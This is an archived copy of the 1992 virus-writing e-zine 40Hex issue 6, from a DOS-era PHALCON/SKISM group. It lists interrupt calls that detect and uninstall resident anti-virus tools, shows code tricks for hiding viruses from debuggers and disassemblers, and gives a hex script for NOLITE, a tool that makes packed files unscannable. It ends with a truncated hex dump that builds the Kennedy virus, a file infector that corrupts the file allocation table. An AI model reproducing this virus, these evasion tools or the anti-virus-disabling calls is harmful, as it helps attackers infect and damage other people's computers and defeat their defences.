Amiga ISO Collection

home *** CD-ROM | disk | FTP | other *** search

/ Amiga ISO Collection / AmigaDemoCD1.iso / DEMOS / 40hex006.lha / 40hex006

Wrap

Text File | 1995-03-29 | 116.7 KB | 2,554 lines

40Hex Number 6 Volume 2 Issue 2 File 000 Welcome to 40Hex issue 6. If this is your first time reading an issue of 40 Hex, I welcome you, but recommend that you start with an earlier issue. This issue will have a Virus Spotlite on Creeping Death(Dir-2). It isn't in the normal Hex Dump format, and it is fully commented. - Landfill is temporarily down(again!). This is due to several [NuKEd] hard drive controllers... we are down but NOT out. Hopefully we should be up within several weeks of the release of this issue. Hellraiser is still unable to edit the magazine, hopefully next issue he will be back in charge. - I think we must discuss one problem. Recently, we have been verbally "attacked" by some lamers in the virus scene who like to jerk off on Fidonet. To clear up the issue at hand, we personally don't use all of the methods found in the articles. For example, we don't sit around all day and PKLite infected files and then remove the PKLite header. We let you people do it. As a matter of fact, we made it a hell of a lot easier due to this month's article called NoLite. No self-respecting virus group would do it. Not everyone that reads this magazine is a virus programmer, but wants to learn. Ya gotta start somewhere. Another person who has been insulting us on FidoNet is Sara Gordon. I do not know the whole story behind her hatred, but I know it stems from a phone conversation between her and Hellraiser. From what I understand, they disagreed on many topics, and HR may have gotten insulting (I don't know the whole story) - Anyone that would like to submit articles feel free to do so, as long as what you write is not stolen from another source and is of good quality. If you would like to write articles contact any PHALCON/SKISM member or upload them to either Digital Warfare or PHUN LINE. 40 Hex Mag Issue 6 April 1992 The Contents File 000.............................You Are Here File 001.............................Finding anti-viral programs in memory File 002.............................Code Concealing: Part I File 003.............................More Busts and Updates File 004.............................The NoLite Utility File 005.............................PHALCON/SKISM Update File 006.............................Some Dick who wants to bust virus authors File 007.............................The Kennedy Virus File 008.............................Cornell students nailed for viruses File 009.............................The Truth Behind Virus Scanners File 00A.............................Virus Spotlite-Dir2 Full commented source File 00B.............................Scan strings, and how to avoid them File 00C.............................!Virus Contest! Our Members: Axiom Codex(*)-(Sysop of PHUNLINE) Count Zero(*)-(Hacker, Amiga Programmer, Master of 150#) CRoW MeiSTeR(K)-(Sysop of Crow Tech., Goob) Dark Angel-(Programmer, Master Chef) DecimatoR(*)-(Sysop of Digital Warfare, Programmer) Demogorgon-(Hacker, Programmer) Garbageheap-(Fearless Leader, Sysop of LandFill, Programmer) Hellraiser-(Fearless Leader, Programmer) Instigator(*)-(Terry Oakes' butt-buddy, 40 Hex writer) Joshua Tower-(Electronics, MonkeyWrenching) Lazarus Long-(Programmer) Night Crawler-(Courier, Keeper of All Virii) Orion Rogue-(Rouge?, named us, then laid back, and relied on name) Paragon Dude-(Macintosh Progammer(lonely)) Renegade(*?)-(Hacker, Macintosh Programmer) Time Lord(*)-(Sysop of USSR Systems) (*)-Denotes persons who should avoid bending over for the soap, and invest in large quantities of KY Jelly. (K)-Denotes persons who should get KY Jelly anyway. (*?)-Denotes persons who came too close, and wisely backed off and also saved a fortune on KY Jelly. Special Goodbye's to:Piff'(Sorry ya had to quit) Greets to: Attitude Adjuster, Dekion, Loki, [NuKE], Suicidal Maniac, and our readers (do we have any?!?!?) P.S. The transcript of the Alliance mentioned in last issue will NOT be released in this issue. This issue is just too damned packed to add another large file. It will be put into 40Hex-7, if we aren't in jail. -)GHeap 40Hex Number 6 Volume 2 Issue 2 File 001 ------------------------------------------------------------------------------- Memory Resident Anti-Virus Detection and Removal ------------------------------------------------------------------------------- Here is a list of ways to see if anti-viral utils are present in memory. I got the list out of PC interupts, a book by Ralph Brown. Here they are: F.-DRIVER.SYS (Part of the F-Protect virus package by Fridrik Skulason.) This program "grabs" the INT 21 monitoring code, if it was not already taken by another program. INT 21h, Function 4Bh, Sub Function EEh AX must = 4BEEh at call, and call returns AX=1234h if F-Prot sucessfully grabbed INT 21, and AX=2345h if the grab failed. F-DLOCK.SYS (A HD access restrictor, part of F-Protect Package) Call INT 2Fh, Funct. 46h, SubFunct 53h At call, AX must = 4653h, CX=0005h, BX= 0000h If present in ram, AX will return FFFFh. To uninstall, call with AX & CX the same as above, but BX= 0001h. AX, ES, & BX will be destroyed. F-LOCK.EXE (Part of F-Protect package, looks for "suspicious" activity) INT 2Fh, Funct 46h, SubFunct. 53h To call: AX = 4653h, CX=0002h, BX=0000h (installation check) BX=0001h (uninstall) BX=0002h (disable v1.08 & below) BX=0003h (enable v1.08 & below) Call returns AX=FFFFh if installed ( BX=0000h at call) AX, BX, and ES destroyed, if uninstalled (BX=0001 at call) F-POPUP.EXE (Pop up menu for F-Protect) INT 2Fh, Funct. 46h, SubFunct. 53h To call: AX=4653h, CX=0004h, BX= 0000h, 0001h or 0002h (See above - BX same as F-Lock) Returns: Same as F-LOCK.EXE F-XCHK.EXE (Prevents execution of any progs which don't have self-checking code added by F-XLOCK) INT 2Fh, Funct. 46h, SubFunct 53h To Call: Registers = same as F-Popup, except CX=0003h, and BX = 0000h (installation check) or 0001h (uninstall) Returns: same as F-LOCK, above. TBSCANX (Resident Virus scanning Util by Frans Veldman) INT 2Fh, Function CAh, SubFunct 00h Call: AX=CA01, BX=5442h ("TB") Returns: AL=00h if not installed, AL=FFh if installed BX=7462h ("tb") if BX was 5442h during call INT 2Fh, Function CAh, Subfunction 02h (Set state of TBSCANX) Call: AX=CA02h, BL = new state (00h=disabled, 01h=enabled) VDEFEND (Part of PC-tools. Works on v7.0) INT 21h, Function FAh To call: AH=FAh, DX=5945h, AL=subfunction (01h to uninstall) returns: CF set on error, DI = 4559h (?) DATAMON (PC Tools 7.0 file protection) INT 2Fh, Funct 62h, Sub Funct 84h Call: AX=6284h, BX=0000h (for installation check), CX=0000h Returns: AX=resident code segment, BX & CX = 5555h Flu Shot, or Virex PC INT 21h Call: AX=0ff0fh Returns if either is installed: AX=101h If anyone has any more Anti-Viral IDs, post 'em on Digital Warfare and I'll update this list. ---DecimatoR PHALCON/SKISM 40HEX_6_002 SEGMENT PUBLIC 'code' ORG 100H ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE ;****************************************************************************** Concealment: Keep Your Code Hidden From Prying Eyes by Demogorgon/PHALCON/SKISM Recently, I have been experimenting with a few new programming techniques that should be of great interest to the virus writing community. It is always our top priority to keep our code out of the hands of lamers in order to prevent the dreaded 'text change' and above all, to cause the anti-virus community as much grief as possible. In order to do this, we must put a great deal of effort into concealing our code. That is the focus of this article. This file is divided into two parts. The first part is devoted to developing 'debug resistant' code, and the second part deals with defeating disassemblers. I will not cover encryption, because methods of encryption are commonly known and there is really not much further I can go with that. For a complete review of self encryption methods, take a look at Dark Angel's Funky Virus Writing Guide (number three, the one that hasn't been released yet.) Part_I: The debugger is NOT your friend The basic idea behind writing debug ressistant code is finding a way to make your code behave differently when it runs under a debugger. With a real mode debugger, this is simplicity itself. All that is necessary is a little knowledge of how a debugger works. A debugger, such as debug or TD traces through a program by setting handlers to int 1 and int 3. These are called after every instruction is executed. A virus that wishes to avoid being debugged can simply replace the handlers for these interrupts, and the results will be just about whatever you want. Here is some code to do this: eat_debug: push cs pop ds mov dx, offset eat_int mov ax,2501h int 21h mov al,03h int 21h ... ; rest of code eat_int: iret As you can see, this requires minimal space in your code, and is certainly worth the effort. You can experiment by placing something else at 'eat_int'. Another commonly used tactic is to disable the keyboard interrupt while certain parts of the code are being executed. This will surely keep lamers baffled, though a pro would recognize what was going on immediately. I am sure McAfee's programmer's scoff at code such as this. Also note that while this will defeat the average real mode debugger, any protected mode debugger will step through this as if it weren't there. Playing with interrupts will not help you when your program will be running in a virtual cpu anyway. One method I found which will work nicely against td386 is to throw in a hlt instruction. This will give TD an exception 13 error, and terminate the program. Anyone who is aware of this will just step over a hlt instruction, so therefore methods must be used to conceal its presence, or to make it a necessary part of the code. This will be covered in part II. Another trick you can play is to call int3 within your program. If someone tries to run your program under a debugger, it will stop each time int3 is called. It is possible to trace through it, but it will be annoying if there are many int3's thrown in. Part_2: Kill your disassembler No matter how well you mess up debuggers, your program is entirely at the mercy of a programmer armed with a good disassembler. Unless, of course, you use techniques that will confuse disassemblers. My favorite method for baffling them is to create code that overlaps. Overlapping code may seem a little bit too complicated for most of us at first, but with the knowledge of a few instruction hex translations, you too can make effective overlapping code without sacrificing too much code size. Overlapping code can get as complex as you would like, but this file will only deal with the simplest examples. eat_sr: mov ax,02EBh jmp $-2 ; huh? ... ; rest of code This may confuse you at first, but it is fairly simple. The first instruction moves a dummy value into ax. The second instruction jmps into the value that was just moved into ax. '02EB' translates into 'jmp $+2' (remember that words are stored in reverse). This jump goes past the first jmp, and continues on with the code. This will probably not be sufficient to defeat a good disassembler like Sourcer, but it does demonstrate the technique. The problem with this is that Sourcer may or may not just pick up the code after commenting out the 'jmp $-2'. It is difficult to predict how Sourcer will respond, and it usually depends on the bytes that appear directly after the jmp. To severely baffle Sourcer, it is necessary to do some stranger things. Take a look at this example. erp: mov ax,0FE05h jmp $-2h add ah,03Bh ... ; rest of code This code is quite a bit more useful than the previous listing. Let us simulate what would happen if we were to trace through this code, showing a hex dump at each step to clarify things. B8 05 FE EB FC 80 C4 3B mov ax,0FE05h ; ax=FE05h ^^ ^^ ^^ B8 05 FE EB FC 80 C4 3B jmp $-2 ; jmp into '05 FE' ^^ ^^ B8 05 FE EB FC 80 C4 3B add ax,0EBFEh ; 05 is 'add ax' ^^ ^^ ^^ B8 05 FE EB FC 80 C4 3B cld ; a dummy instruction ^^ B8 05 FE EB FC 80 C4 3B add ah,3Bh ; ax=2503h ^^ ^^ ^^ The add ah,03Bh is there simply to put the value 2503h into ax. By adding five bytes (as opposed to simply using 'mov ax,2503h') this code will confuse disassemblers pretty well. Even if the instructions are disassembled properly, the value of ax will not be known, so every int call after this point will not be commented properly, as long as you never move a value into ax. You can conceal the value from the disassembler by using 'add ax' or 'sub ax' whenever possible. If you examine this closely, you can see that any value can be put into ax. Two of the values can be changed to whatever you want, namely the FE in the first line, and the 3B in the last line. It is helpful to debug through this chunk of code to determine what values should be placed here in order to make ax what you would like it to be. Back to the subject of killing debuggers, it is very sneaky to hide something like a hlt instruction inside another instruction, such as a jmp. For example, take a look at this: glurb: mov cx,09EBh mov ax,0FE05h ;-\ jmp $-2 ; >--this should look familiar to you add ah,03Bh ;-/ jmp $-10 ... ; rest of code The three lines in the middle are a repeat of the previous example. The important part of this code is the first line and the 'jmp $-10'. What happens is, the jmp goes back into the 'mov cx' instruction. The '09EB' translates into 'jmp $+9'. This lands in the '$-10' part of the first jmp. The $-10 just happens to be stored as 0F4h, the hlt instruction. By making the hlt part of another instruction, it is not visible when it is being traced through by td386. It is also not possible to remove it without altering the code. The purpose of this article is not to supply code to be thrown into your own programs. The purpose is to get you to think about new ways to avoid having your code looked at and modified by others. The most important thing is to be original. It is pointless for you to simply duplicate this code, because anyone else who has read this file will already know what you are trying to do. code ENDS END concealment 40Hex Number 6 Volume 2 Issue 2 File 003 Well, there have been plenty of busts in 1992 so here is the run down to the best of my knowledge for anyone who is interested: Asphi: Busted by MCI on January 20 for hacking on 476's. Had to pay $2700 for the phone calls he made. From what I found out MCI Wants to nail him to the wall. Charges include: Unlawful use of a computer, Credit Card Fraud, Theft of Services, Criminal Conspiracy and some more I can't think of, 10 or so total. And of course they took his system. He is going to have a trial, but a date has not yet been set. Axiom Codex: Billed $2000 for equal access codes. Cold Steel: Billed $40.00 for 476's Count Zero: Yet another that got nailed for 476's. Billed $86.63 and had to tell his parents. Deathblade: Billed $100 for 476's. Dekion: Also nailed for 476's. Not sure if he will be charged. Billed somewhere between $100 - $1000. Genghas Khan: Nailed for CBI and for 733's. Not sure about what will happen to him, but I heared from his friend that he is really screwed. Instigator: I got nailed in the 476 ring too. They took my system but gave it back. I got billed for $1970.17. I got charged with 1 count of Theft of services. They dropped the other 8 charges. I am going to be on informal probation for a short period. Marauder: Raided last year by GBI, they took his computer equipment and never gave it back. They finally decided to charge him with some misdemeanors. Netrunner: Billed $100 for 476's. Terminal: Arrested same time as Genghas Kahnvict. He is NOT a minor... VenoM: 476's again. Billed $75.00 and had to tell his parents. *** AND the LAMEST bust of the month award goes to: DecimatoR - for sitting in his car along a main road while using the beige box! He ran up a wopping $0.81 phone bill before the cop came by and asked him if he was having car trouble and saw the wires running from the car into the telephone pole. He was arrested, then released. No charges have been filed.... yet! *** AND the second LAMEST bust of the month award goes to: Hot Rize - for wizely running his neighbors phone line into his own house. No one would notice that one, eh? We also recieved confirmed reports that he is a dweeb. ------------------------------------------------------------------------------- All 4 PHALCON/SKISM joints went down between January and March. The Landfill for security reasons, Digital Warfare because of me getting busted, PHUN LINE for security reasons, and USSR because Time Lord may be getting busted. Digital Warfare went back up though, with DecimatoR as sysop. ** Apparently the head of the 476 operations is Terry Oakes. He is the phone Fraud investigator in charge of the TeleConnect Investigations. Give him a ring at 800-476-1234 Ext. 3045. Thank you. ** References to 476's are refering to 800-476-9696 owned by Teleconnect, a subsidary of MCI. (6 Digit Calling Cards - Get a LAMER to hack 'em) ** Make sure you change your passwords if you use the same one on Digital Warfare as you do on other boards. They have the OLD user list. ** Additions to the list will be on a first busted first added basis. -Instigator 40Hex Number 6 Volume 2 Issue 2 File 004 NOLITE v1.0 By DecimatoR of PHALCON/SKISM PD War Collection Program 1 This program will remove the PKLITE header from .EXE and .COM for two reasons. A) To make the file un-decompressable, which dosen't mean much if you have the registered version of PKLITE. B) More importantly, makes the PKLITEd file unscannable to virus scanners, such as McAfees' Virus Scan etc... Does this by overwriting the header with random text from memory. Parameters are simple: NOLITE filename.ext (Extension MUST be included!) Will remove the header from PKLITEd files. It will not remove the header if it is not a genuine PKLITE file. Note: This program is based on PKSMASH, which was written by Hellraiser. Unfortunately, a bug surfaced in that program, which caused it to lock up sometimes. So I wrote this to replace PKSMASH, and stole HR's dox. <sorry dude> ---DecimatoR Cut out the following code, call it NOLITE.HEX, then DEBUG < NOLITE.HEX ------------- Rip here ---------- Slice here ---------- Mince Here ---------- n nolite.com e 0100 4D 5A 53 00 03 00 00 00 09 00 FB 00 FF FF 46 00 e 0110 00 04 00 00 00 01 F0 FF 50 00 00 00 03 01 9A 07 e 0120 8A 15 20 83 C4 06 B8 0D 00 50 B8 01 00 50 9A 2F e 0130 89 15 20 83 C4 04 C7 06 38 6B 00 00 8B E5 5D C3 e 0140 55 8B EC 83 EC 02 FF 36 16 35 E8 C4 19 83 C4 00 e 0150 7A 01 03 00 01 00 20 00 09 00 FF FF 00 00 00 00 e 0160 00 00 00 01 00 00 3E 00 00 00 01 00 FB 30 6A 72 e 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0190 B8 38 01 BA 3D 00 8C DB 03 D8 3B 1E 02 00 73 1D e 01A0 83 EB 20 FA 8E D3 BC 00 02 FB 83 EB 19 8E C3 53 e 01B0 B9 C3 00 33 FF 57 BE 48 01 FC F3 A5 CB B4 09 BA e 01C0 36 01 CD 21 CD 20 4E 6F 74 20 65 6E 6F 75 67 68 e 01D0 20 6D 65 6D 6F 72 79 24 FD 8C DB 53 83 C3 2D 03 e 01E0 DA BE FE FF 8B FE 8C CD 8B C5 2B EA 8B CA D1 E1 e 01F0 D1 E1 D1 E1 80 EC 10 80 EF 10 8E C0 8E DB F3 A5 e 0200 FC 8E DD 07 06 BF 00 01 33 F6 AD 95 BA 10 00 EB e 0210 2C 90 AD 95 B2 10 EB 35 AD 95 B2 10 EB 36 AD 95 e 0220 B2 10 EB 3B AD 95 B2 10 EB 5D AD 95 B2 10 EB 5E e 0230 AD 95 B2 10 EB 5F AD 95 B2 10 72 08 A4 D1 ED 4A e 0240 74 F4 73 F8 33 C9 33 DB D1 ED 4A 74 C5 D1 D3 D1 e 0250 ED 4A 74 C4 D1 D3 85 DB 74 17 D1 ED 4A 74 BF D1 e 0260 D3 80 FB 06 72 0B D1 ED 4A 75 04 AD 95 B2 10 D1 e 0270 D3 2E 8A 8F 5E 01 80 F9 0A 74 74 33 DB 83 F9 02 e 0280 74 2A D1 ED 4A 74 9D 72 23 D1 ED 4A 74 9C D1 D3 e 0290 D1 ED 4A 74 9B D1 D3 D1 ED 4A 75 04 AD 95 B2 10 e 02A0 D1 D3 80 FB 02 73 15 2E 8A BF 6E 01 AC 8A D8 56 e 02B0 8B F7 2B F3 FA F3 26 A4 FB 5E EB 81 D1 ED 4A 75 e 02C0 04 AD 95 B2 10 D1 D3 80 FB 08 72 DB D1 ED 4A 75 e 02D0 04 AD 95 B2 10 D1 D3 80 FB 17 72 CB D1 ED 4A 75 e 02E0 04 AD 95 B2 10 D1 D3 81 E3 DF 00 86 DF EB BD AC e 02F0 02 C8 80 D5 00 3C FF 75 82 5B 8B EB 83 C3 10 33 e 0300 C0 AC 91 E3 0E AD 03 C3 8E C0 AD 97 26 01 1D E2 e 0310 F9 EB EC AD 03 C3 FA 8E D0 AD 8B E0 FB AD 03 D8 e 0320 53 AD 50 8E C5 8E DD 33 C0 8B D8 8B C8 8B D0 8B e 0330 E8 8B F0 8B F8 CB 03 00 02 0A 04 05 00 00 00 00 e 0340 00 00 06 07 08 09 01 02 00 00 03 04 05 06 00 00 e 0350 00 00 00 00 00 00 07 08 09 0A 0B 0C 0D 00 00 00 e 0360 3A 00 00 F5 01 B8 23 00 8E C0 E8 CF 00 E8 00 00 e 0370 C7 00 83 FA 01 B4 09 BA 5C 00 CD 21 74 0A BA 87 e 0380 55 00 00 0C 09 E9 07 01 33 C9 E8 E7 40 01 00 8B e 0390 D7 B0 02 B4 3D 10 73 03 E9 EE 00 28 40 A3 0C 00 e 03A0 B9 39 51 59 41 83 F9 64 75 39 15 2A CB 2A DD 12 e 03B0 8B 09 A5 1E 1A 01 00 BA 0E 12 3F 28 50 12 80 3E e 03C0 08 50 75 D9 B9 0B B6 52 11 0F 11 BE 07 BF 49 81 e 03D0 38 10 F3 A6 3A 00 74 0C 5A 52 52 8A 5C B0 1A 42 e 03E0 1A EB B3 A2 6A 0A 33 D2 0A 0E 16 95 43 10 59 49 e 03F0 30 27 5B 35 0D B4 40 58 31 91 24 0F 16 5A 0F 72 e 0400 6E A5 1F 35 49 01 09 16 B4 3E 3D 00 40 64 90 8A e 0410 04 3C 20 74 06 3C 09 74 02 3C 0D C3 01 40 27 4A e 0420 01 C3 32 ED 8A 0E 80 00 41 BE 81 01 00 73 4C 01 e 0430 E8 DE FF 75 03 46 E2 F8 51 E3 03 00 A4 FC F3 A4 e 0440 06 1F 59 33 DB E3 0F BE 18 C6 02 85 18 04 C6 04 e 0450 00 43 1C F4 89 1E 29 A1 36 C0 2E E3 0C 3B 0E 00 e 0460 B0 0C 73 06 FC AE 75 FD E2 FB C3 BA FD 21 01 E0 e 0470 B4 4C A0 0B 7E 00 4B 4C 49 54 45 A0 01 20 43 6F e 0480 70 72 2E 47 8B 0D 0A 36 00 4E 4F 5F 28 63 29 20 e 0490 31 39 39 32 20 00 00 44 65 63 69 6D 61 74 6F 52 e 04A0 20 50 48 41 4C 43 4F 00 00 4E 2F 53 4B 49 53 4D e 04B0 0D 24 0A 20 20 52 65 6D 6F 70 42 76 65 73 20 50 e 04C0 93 73 69 67 6E 01 14 2A 75 72 65 20 66 72 6F 6D e 04D0 05 69 A5 0A 6C 1C 2E 52 28 55 73 DC 66 65 3A 20 e 04E0 59 3C 17 A1 4C 27 6D 65 3E 1A 24 1D 3A 05 4E 6F e 04F0 08 40 77 61 55 66 6F 75 00 00 6E 64 20 2D 20 6E e 0500 6F 74 68 69 6E 67 20 64 6F 6E 36 25 65 07 32 45 e 0510 72 5F 72 4B A1 1A 2C 74 81 70 74 20 A0 E0 28 73 e 0520 75 63 63 6C 73 66 75 6C 74 7A 22 53 10 21 AB A4 e 0530 5A 40 4E 72 C6 69 AA 52 44 48 19 74 A0 01 40 79 e 0540 65 64 21 24 FF 01 00 00 01 01 00 00 00 00 00 00 e 0550 00 00 01 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A rcx 055F w q ------------- Rip here ---------- Slice here ---------- Mince Here ---------- 40Hex Number 6 Volume 2 Issue 2 File 005 I'm back, well kind of. Anyways, a lot of people have been asking, "What's going on with the group?" The question should be, "What's going on with any group these days?" It seems to me that 1992 was the death of h/p, or at least the "ice age" of it. Everybody was either getting busted or quitting the scene. Oh well, what can I say about it. Our group has been having bad luck too. Five (now six) busted as well as other assorted bad things happening to members. Anyways, what's going on with us, huh?. Well the reason you haven't heard much from us is because we haven't been releasing our new stuff to BBS systems ( BBS system sounds as redundant as PIN number, I know) because we have a strong feeling that members of such groups as the CVIA are logging on to h/p boards in the hope of snatching the latest viruses. Well not much you can do about it if you run a BBS, unless you personnally know everyone who calls your board. But come to think of it - what good does it prove to release your newest creation to the general public (of the h/p crowd) via BBS system? Isn't that the same principle as the warez puppy scene? I guess you all can do whatever turns you on but we kind of decided that it would be in our best interests to release our stuff to BBS's only after they have been detected by the popular scanners or until they are kind of old. Not to fear, 40-HEX and "Dark Angel Phunky Writing Guide" will still be on boards at the same rate as always. As for all of you people bitching that no longer have sites and that we are dead, well your dead - wrong. The current sites are as follows (in no specific order) - Digital Warfare (yes it's back, at a new number however), Time Lords BBS (The U.S.S.R System), The Phunline (yes it's back), and the newest addition - Crow Technology. And as for us being dead yeah right. ** Note from DecimatoR: The U.S.S.R System recently went down, due to Time Lord getting into a little hot water. It WILL return however... we're just not sure when. ** ** Note from GHeap: I am coming back, gimme mo' time! So now with that out of the way, on the other news. Hmmm..... Michelangelo caused quite a scare there for a while. It was pretty cool to see John, Patti, and the rest of the crew on T.V... John Dvorak has a new half hour computer talk show on syndicated radio. I'm sure he wouldn't mind if we got on the show some time soon. Check your local radio guide for your local station and time... I am offering a standing bounty of $1,500 for the person willing to fly to Ohio and kick Crow Meisters ass for good. A minor would be preferred, being that he is under 18 and if I smashed him I could get sued or something. Just kidding, Crow Meister is cool with me, hihihihi... A new federal law is being considered which if passed will outlaw the authorship of computer viruses totally, research or not. Read more about that later in this issue... Hey, I might have a BBS up soon! I have been saying that for the past 2 years haven't I? Well that's the news as I see it, it's nice to be writing for this rag again. Check ya in 25 to life.... Hellraiser P/S 1992 This article was typed by Time Lord for HR cuz he is WAY too lazy to send me a disk in place of a fuckin print out... 40Hex Number 6 Volume 2 Issue 2 File 006 Well, this little news "tid-bit" came from Attitude Adjuster, one of the few non-PHALCON/SKISM contributers (ok, the ONLY non P/S member), Thanks a lot dude, keep the submissions coming. The article itself is quite sad, and makes me question the intelligence of our opposition. -)GHeap&Demo Thanx to CZ for THE line. ------------------------------------------------------------------------------- - We need Computer Virus Snitches - Written By Mike Royko, Tribune Media Services. Retyped by The Attitude Adjuster ============================================================================ Millions of computer users are wondering how to protect themselves against the wave of viruses that are threatening their machines. I have a suggestion.[So do I, avoid Bnu 1.90Beta] First, they should remember that these viruses don't spring from nature. They are little computer programs that are created and sent on their way by people that are brainy, malicious and arrogant.[I am not brainy] So, the question is, how do you find the creators of computer virus programs? Because they are arrogant, it's likely that they want someone to know what a clever thing they have done. They won't hold a press conference [Actually, we do hold press conferences. See Michael Alexander@Computerworld] but chances are they will brag to a trusted friend or acquaintance or fellow hacker. It is sad, but the world is full of snitches.[Get a thesaurus] Look at John Gotti, the nation's biggest Mafia boss. There was a time when it was unthinkable for even the lowest-level Mafia soldier to blab. But now Gotti has to sit in court while his former right-hand man tells about how they got people whacked. [We whack people too] So if Mafia figures can be persuaded to tattle[Na-na-na-na-na], is there any reason to believe that nerds have a greater sense of honor and loyalty? [Yes, we also have brains] Of course[.] not, but how do you get them to do it? Money. [Now yer talking... my mom is really the Dark Avenger, I want my money now.] These companies [what companies, I only hit hospitals] could use petty cash to place ads in the computer magazines and on the electronic bulletin boards. [Ok, call my BBS and post this tidbit. 40Hex now has ad space available] The ads would say something like: "A $50,000 reward for any information leading to the arrest and conviction of virus authors." [How can you convict a virus author. It isn't illegal. Go play Tank Wars.] The next question would be what to do with the virus makers once they have been caught. And that's the key to putting an end to the problem: something that could be posted on those electronic bulletin boards that might cause an aspiring virus-maker to go take a brisk walk instead. A judge would sit and listen to an attorney who would say some- thing like this: "Your honor, what we have here is an otherwise fine young man from a good family. His father is a brilliant scholar, and the son will someday be the same."[I am going to be a certified scholar when I grow up.] "What he did was no more than an intellectual prank, a cerebral challenge of sorts. Like the man who climbed Mount Everest because it was there, he created the virus and sent it fourth because it was there." Then, we can hope, the judge might say something like this: "Yes, I am impressed by the defendant's brain power. And I expected you to ask me to give him a slap on the wrist." "However, he is not a child. He is an adult. And I would think that so brilliant a grown man would know better than to amuse himself by screwing with the lives of strangers." [I haven't screwed one stranger] "It's as if he hid inside the businesses and institutions until they were closed and everyone had gone home. Then he came out and went through every filing cabinet and drawer and shredded or burned every bit of useful information he could find."[Cool! Lets try it.] "Now, counselor, what would you and your law partners say is some street mope [See Thesaurus] did that to your firm - crept in and destroyed every document in your offices? Including the names of clients that owe you money. Hah, you would be in here asking me to hang him from a tree."[I love hanging from trees] "So don't give me that smart kid from a good family routine. [I ain't smart, and family ain't good] He is a self-centered, insensitive, uncaring, arrogant goofball [And damn proud]. He didn't give a second thought to the chaos or heartbreak he would cause an adoption agency, a hardworking businessman or a medical clinic." [Yes I did. I aim for them.] "Therefore, I sentence him to the maximum sentence the law allows in the local jailhouse [0, NUL, ZIP-o, /dev/null, etc..], which is a really terrible place, filled with all sorts of crude, insensitive hulks." [Jay-walkers] "Bailiff, please get the defendent up off the floor and administer some smelling salts."[More like, why is the defendant laughing?] "And change his trousers, quickly."[Fuck you] []comments added by Demogorgon and GHeap ============================================================================ I hope you enjoyed that one as much as I did! Okay, I see some really neat things with this man's article. First off, I'm sure he's an adept programmer... that is, he can probably figure out how to get his VCR to tape something while he is off writing his brilliant articles. I enjoy his narrow-minded definition of virii (that was mentioned in 40Hex 5), of course, all virii are those evil overwriting, trigger date, resident, boot track infecting swine (yeah, he probably learned what a virus was from watching ABC News covering the Michaelangelo crisis!) I also enjoy his opinion that all virus authors are nerds. First off, what the hell is a nerd? I mean, I have written a virus before (not saying it was any good), but, I don't feel like a nerd! In fact, I feel quite superior to most of the idiots like this guy. And, I like his great statement about my loyalty. Yes, I'm gonna narc on [PHALCON/ [Forget this again, and die]]SKISM for $50,000!!! Yeah, right. There are a lot of narcs on this not-so good earth, so choose your friends wisely. I'm quite sure that ads on BBS's (electronic bulletin boards! No... cork ones!) would just sufficiently pump up user discussion of virii. I'm not scared of fed intervention, and I doubt any authors I know are either. This was touched on in 40Hex 5, virus authors are not responsible for the spread of their virii unless they are actively spreading them! I mean, it's not my fault that K-Rad Man sent my Hard Drive Blender (slices, dices, minces sectors) to 1000 Bible boards in Utah. Apparently it hasn't dawned on this guy that most virii are not written to be destructive. Actually, that's a lie. There are a lot of virii out there that are descructive, but that is changing. People like the PHALCON/SKISM crew realize that not everything must be destructive, opening the doors to much larger virus projects (ie Bobisms) One more thing... QUIT EQUATING THE WORD 'hacker' TO EVERY DAMN TYPE OF ELECTRONIC 'crime!!!' I'm gonna get this dude's phone #, I say we call him sometime... -The Attitude Adjuster- 40Hex Number 6 Volume 2 Issue 2 File 007 Lets see what good ole' Patty has to say about this: Virus Name: Kennedy Aliases: Dead Kennedy, 333, Kennedy-333 Scan ID: [Kennedy] V Status: Endangered Discovered: April, 1990 Symptoms: .COM growth; message on trigger dates (see text); crosslinking of files; lost clusters; FAT corruption Origin: Denmark Eff Length: 333 Bytes Type Code: PNCKF - Parasitic Non-Resident .COM Infector Detection Method: ViruScan, Pro-Scan, VirexPC, F-Prot, VirHunt 2.0+, NAV, IBM Scan 2.00+, AVTK 4.32+, VIRx 1.6+, CPAV 1.0+, Novi 1.0.1+, Sweep 2.3.1+, UTScan Removal Instructions: F-Prot, VirHunt 2.0+, or delete infected files General Comments: The Kennedy virus was isolated in April 1990. It is a generic infector of .COM files, including COMMAND.COM. This virus has three activation dates: June 6 (assassination of Robert Kennedy 1968), November 18 (death of Joseph Kennedy 1969), and November 22 (assassination of John F. Kennedy 1963) of any year. On activation, the virus will display a message the following message: "Kennedy is dead - long live 'The Dead Kennedys'" The following text strings can be found in the viral code: "\command.com" "The Dead Kennedys" Systems infected with the Kennedy virus will experience cross-linking of files, lost clusters, and file allocation table errors (including messages that the file allocation table is bad). --------------------------------Cut Here------------------------------------ n kennedy.com e 0100 E9 0C 00 90 90 90 CD 20 4B 65 6E 6E 65 64 79 E8 e 0110 00 00 5E 81 EE 0F 01 8B AC 0B 02 B4 2A CD 21 81 e 0120 FA 06 06 74 28 81 FA 12 0B 74 22 81 FA 16 0B 74 e 0130 1C 8D 94 0D 02 33 C9 B4 4E CD 21 72 09 E8 17 00 e 0140 72 04 B4 4F EB F3 8B C5 05 03 01 FF E0 8D 94 20 e 0150 02 B4 09 CD 21 EB EF B8 00 43 BA 9E 00 CD 21 89 e 0160 8C 55 02 B8 01 43 33 C9 CD 21 B8 02 3D CD 21 8B e 0170 D8 B4 3F 8D 94 52 02 8B FA B9 03 00 CD 21 80 3D e 0180 E9 74 05 E8 7E 00 F8 C3 8B 55 01 89 94 0B 02 33 e 0190 C9 B8 00 42 CD 21 8B D7 B9 02 00 B4 3F CD 21 81 e 01A0 3D 65 64 74 DE 33 D2 33 C9 B8 02 42 CD 21 83 FA e 01B0 00 75 D0 3D E8 FD 73 CB 05 04 00 89 84 5B 02 B8 e 01C0 00 57 CD 21 89 8C 57 02 89 94 59 02 B4 40 8D 94 e 01D0 05 01 B9 4D 01 CD 21 72 15 B8 00 42 33 C9 BA 01 e 01E0 00 CD 21 B4 40 8D 94 5B 02 B9 02 00 CD 21 8B 8C e 01F0 57 02 8B 94 59 02 B8 01 57 CD 21 B4 3E CD 21 E8 e 0200 02 00 F9 C3 B8 01 43 8B 8C 55 02 CD 21 C3 03 00 e 0210 2A 2E 43 4F 4D 00 5C 43 